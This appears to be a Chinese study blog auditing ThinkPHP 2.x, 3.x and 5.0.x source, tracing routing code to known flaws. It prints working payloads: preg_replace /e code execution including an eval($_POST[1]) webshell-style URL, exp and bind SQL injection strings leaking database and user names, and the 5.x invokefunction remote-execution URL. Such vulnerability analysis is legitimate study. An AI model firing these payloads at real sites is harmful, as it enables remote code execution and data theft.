php代码审计-Thinkphp<5.*
自己对于这种大项目的审计能力还是很差 从先从最经典的thinkphp开始学起
Thinkphp2.x
远古项目 在vulhub/thinkphp-2.1: 互联网考古,ThinkPHP2.1带示例和文档完整包 (github.com)下载
配置环境的时候切记使用apache 使用nignx会莫名其妙的各种问题
环境 php5.59 thinkphp2.1x
路由分析
主要控制路由的文件在ThinkPHP内置的Dispatcher类里面
这个类负责把路由映射到对应的控制器上
调用自己的self::routerCheck()方法 查看当前的路由规则
路由包括好几种 不过都大差不差
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| if(0 === stripos($regx.$depr,$route[0].$depr)) { $var = self::parseUrl($route[1]); $paths = explode($depr,trim(str_ireplace($route[0].$depr,$depr,$regx),$depr)); $vars = explode(',',$route[2]); for($i=0;$i<count($vars);$i++) $var[$vars[$i]] = array_shift($paths); $res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths)); $_GET = array_merge($var,$_GET); if(isset($route[3])) { parse_str($route[3],$params); $_GET = array_merge($_GET,$params); }
|
调用self::parseUrl解析成模块、控制器和操作名 然后把剩余的相关参数作为路由储存在GET这个超全局变量里面
当请求路径为 user/profile/123 表示请求user的profile方法 123是这个方法的路由参数
当解析完成之后 可能还存在一些不符合路由定义的参数 这个时候会调用正则去解析代码 然后放到get的变量里面参数传递
如果不开启兼容模式 可以这样访问
1
| ?s=/模块/控制器/操作/[参数名/参数值...]
|
任意命令执行
这里的正则表达式如下
1 2
| $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths)); $_GET = array_merge($var,$_GET);
|
每一次匹配都会这样
假设匹配/name/AsaL1n
第一部分匹配到name 第二部分匹配到AsaL1n 然后构造键值对 存放到全局变量里面
注意到用了\e修饰符 可以执行任意命令
1 2 3 4 5 6 7 8
| <?php error_reporting(0); $var = array(); $a='$var[\'\\1\']="\\2";'; $b="a/${system('calc')}"; preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b); print_r($var); ?>
|
注意的是 能执行代码的地方 是数组的值的位置 不是键的位置
1 2
| /index.php?s=a/b/c/${phpinfo()}或者 /index.php/a/b/c/${phpinfo()}
|
这样的payload也可以执行
1
| http://thinkphp/Examples/Route/index.php/a/b/c/d/e/${eval($_POST[1])}
|
Thinkphp3.x
top-think/thinkphp: ThinkPHP3.2 ——基于PHP5的简单快速的面向对象的PHP框架 (github.com) 用php3.2学习
搭建环境
核心公共文件还是在ThinkPHP/ThinkPHP.php里面
路由控制
路由函数控制函数在ThinkPHP/Library/Behavior/CheckActionRouteBehavior.class.php下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| private function parseRule($rule, $route, $regx) { $url = is_array($route) ? $route[0] : $route; $paths = explode('/', $regx); $matches = array(); $rule = explode('/', $rule); foreach ($rule as $item) { if (0 === strpos($item, ':')) { if ($pos = strpos($item, '^')) { $var = substr($item, 1, $pos - 1); } elseif (strpos($item, '\\')) { $var = substr($item, 1, -2); } else { $var = substr($item, 1); } $matches[$var] = array_shift($paths); } else { array_shift($paths); } } if (0 === strpos($url, '/') || 0 === strpos($url, 'http')) { if (strpos($url, ':')) { $values = array_values($matches); $url = preg_replace('/:(\d+)/e', '$values[\\1-1]', $url); } header("Location: $url", true, (is_array($route) && isset($route[1])) ? $route[1] : 301); exit; } else { $var = $this->parseUrl($url); $values = array_values($matches); foreach ($var as $key => $val) { if (0 === strpos($val, ':')) { $var[$key] = $values[substr($val, 1) - 1]; } } $var = array_merge($matches, $var); if ($paths) { preg_replace('@(\w+)\/([^\/]+)@e', '$var[strtolower(\'\\1\')]=strip_tags(\'\\2\');', implode('/', $paths)); } if (is_array($route) && isset($route[1])) { parse_str($route[1], $params); $var = array_merge($var, $params); } $action = $var[C('VAR_ACTION')]; unset($var[C('VAR_ACTION')]); $_GET = array_merge($var, $_GET); return $action; } }
|
和thinkphp2.*的路由很像 在注释里面他自己也给出了处理方式
1 2 3 4 5 6 7 8
| // 解析正则路由 // '路由正则'=>'[分组/模块/操作]?参数1=值1&参数2=值2...' // '路由正则'=>array('[分组/模块/操作]?参数1=值1&参数2=值2...','额外参数1=值1&额外参数2=值2...') // '路由正则'=>'外部地址' // '路由正则'=>array('外部地址','重定向代码') // 参数值和外部地址中可以用动态变量 采用 :1 :2 的方式 // '/new\/(\d+)\/(\d+)/'=>array('News/read?id=:1&page=:2&cate=1','status=1'), // '/new\/(\d+)/'=>array('/new.php?id=:1&page=:2&status=1','301'), 重定向
|
sql where 注入
假设我们写入这样一句查询逻辑
1 2
| $data = M('users')->find(I('GET.id')); var_dump($data);
|
主要的查询逻辑在这里ThinkPHP/Mode/Lite/Model.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| public function find($options=array()) { if(is_numeric($options) || is_string($options)) { $where[$this->getPk()] = $options; $options = array(); $options['where'] = $where; } $pk = $this->getPk(); if (is_array($options) && (count($options) > 0) && is_array($pk)) { $count = 0; foreach (array_keys($options) as $key) { if (is_int($key)) $count++; } if ($count == count($pk)) { $i = 0; foreach ($pk as $field) { $where[$field] = $options[$i]; unset($options[$i++]); } $options['where'] = $where; } else { return false; } } $options['limit'] = 1; $options = $this->_parseOptions($options); if(isset($options['cache'])){ $cache = $options['cache']; $key = is_string($cache['key'])?$cache['key']:md5(serialize($options)); $data = S($key,'',$cache); if(false !== $data){ $this->data = $data; return $data; } } $resultSet = $this->db->select($options); if(false === $resultSet) { return false; } if(empty($resultSet)) { return null; } if(is_string($resultSet)){ return $resultSet; }
$data = $this->_read_data($resultSet[0]); $this->_after_find($data,$options); $this->data = $data; if(isset($cache)){ S($key,$data,$cache); } return $this->data; }
|
前面都是一些对于复合主键的处理 主要看下面的
这里调用了_parseOptions方法
取出了表的名字 别名啥的 重点是对数组查询条件进行了自动字段类型检查,对每一个参数进行查询 调用_parseType 方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| protected function _parseType(&$data,$key) { if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){ $fieldType = strtolower($this->fields['_type'][$key]); if(false !== strpos($fieldType,'enum')){ }elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) { $data[$key] = intval($data[$key]); }elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){ $data[$key] = floatval($data[$key]); }elseif(false !== strpos($fieldType,'bool')){ $data[$key] = (bool)$data[$key]; } } }
|
这里会进行类型转换 导致注入不能进行 绕过就不会执行
1
| isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])
|
只要让注入的内容是一个数组 同时数组的键为where即可绕过
这样相当于没处理 直接返还原来的payload
进入ThinkPHP/Library/Think/Db/Driver.class.php里面
1 2 3 4 5 6 7 8
| public function select($options=array()) { $this->model = $options['model']; $this->parseBind(!empty($options['bind'])?$options['bind']:array()); $sql = $this->buildSelectSql($options); $result = $this->query($sql,!empty($options['fetch_sql']) ? true : false); return $result; }
|
可以看到调用了buildSelectSql方法
buildSelectSql里面主要是进行了一个limit的计算 计算出了查询返还的数据列数
然后直接进入parseSql进行拼接了
造成了sql注入
成功注入出表名
exp 注入
parseWhereItem方法中
如果数组第一个是exp 那么就会和第一个exp直接.拼接 造成sql注入
1
| id[0]=exp&id[1]==0 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
|
bind 注入
可以看到当val[0] = bind的时候 也会造成注入
1
| ?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&last_name=1
|
但是这里添加了: 拼接之后导致注入失效
在upadte的函数最后 我们的函数会使用excute方法
这里执行了这这一步
1
| $this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
|
把:0 替换成外来的字符串
这样只要构造的id[1] 开头为0就能造成注入
Thinkphp5.*
使用的是tp5.0.14
Release V5.0.14 · top-think/think (github.com)下载
Release V5.0.14 · top-think/framework (github.com)下载核心库
路由分析
路由检测的逻辑在routeCheck里面
先检测路由是否在缓存里面 有的话就获取路由缓存
然后进入Route::check方法
主要是对路由别名的解析和相关的域名控制 没啥东西 关注checkRoute 方法
处理了特殊路由 检测了相关的路由正确性
最后 相关路由被放入parseRule 函数里面处理
这里对路由处理 主要如下
解析URL地址为 (模块/控制器/操作)?额外参数1=值1&额外参数2=值2…
根据不同的模式有不同的处理方法
1 2
| PATHINFO: index.php/index/Test/hello/name/world 只能以这种方式传参。 兼容模式:index.php?s=index/Test/hello/name/world
|
类名解析导致任意类方法调用
先贴payload
1
| http://thinkphp/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
|
根据路由调用方式 先进入routeCheck里面 读取路由缓存什么的不必多说
进入parseUrl
这里进行的路由分割 分割为 | index|think\app|invokefunction 返回
进入到exec函数里面
进入self::module
这里使得我们的$available=true 不会被下面的抛出错误
然后尝试调用Loader::controller 去加载我们的模块
寻找到我们的模块之后 调用App::invokeMethod
这里反射调用 构建了一个我们所输入的类 然后返回对应的类 回到
最底下使用了invokeMethod 方法 看看这个方法
执行这个类的方法 把我们的参数绑定进去 调用 $reflect->invokeArgs 执行
我们调用到invokeFunction方法
$reflect值为call_user_func_array vars传入参数assert和phpinfo()
成功执行 也可以弹计算器
包括还有很多东西 比如think\config/get 方法
当我们不传入参数只传入name的时候 自动读取配置里面的值返回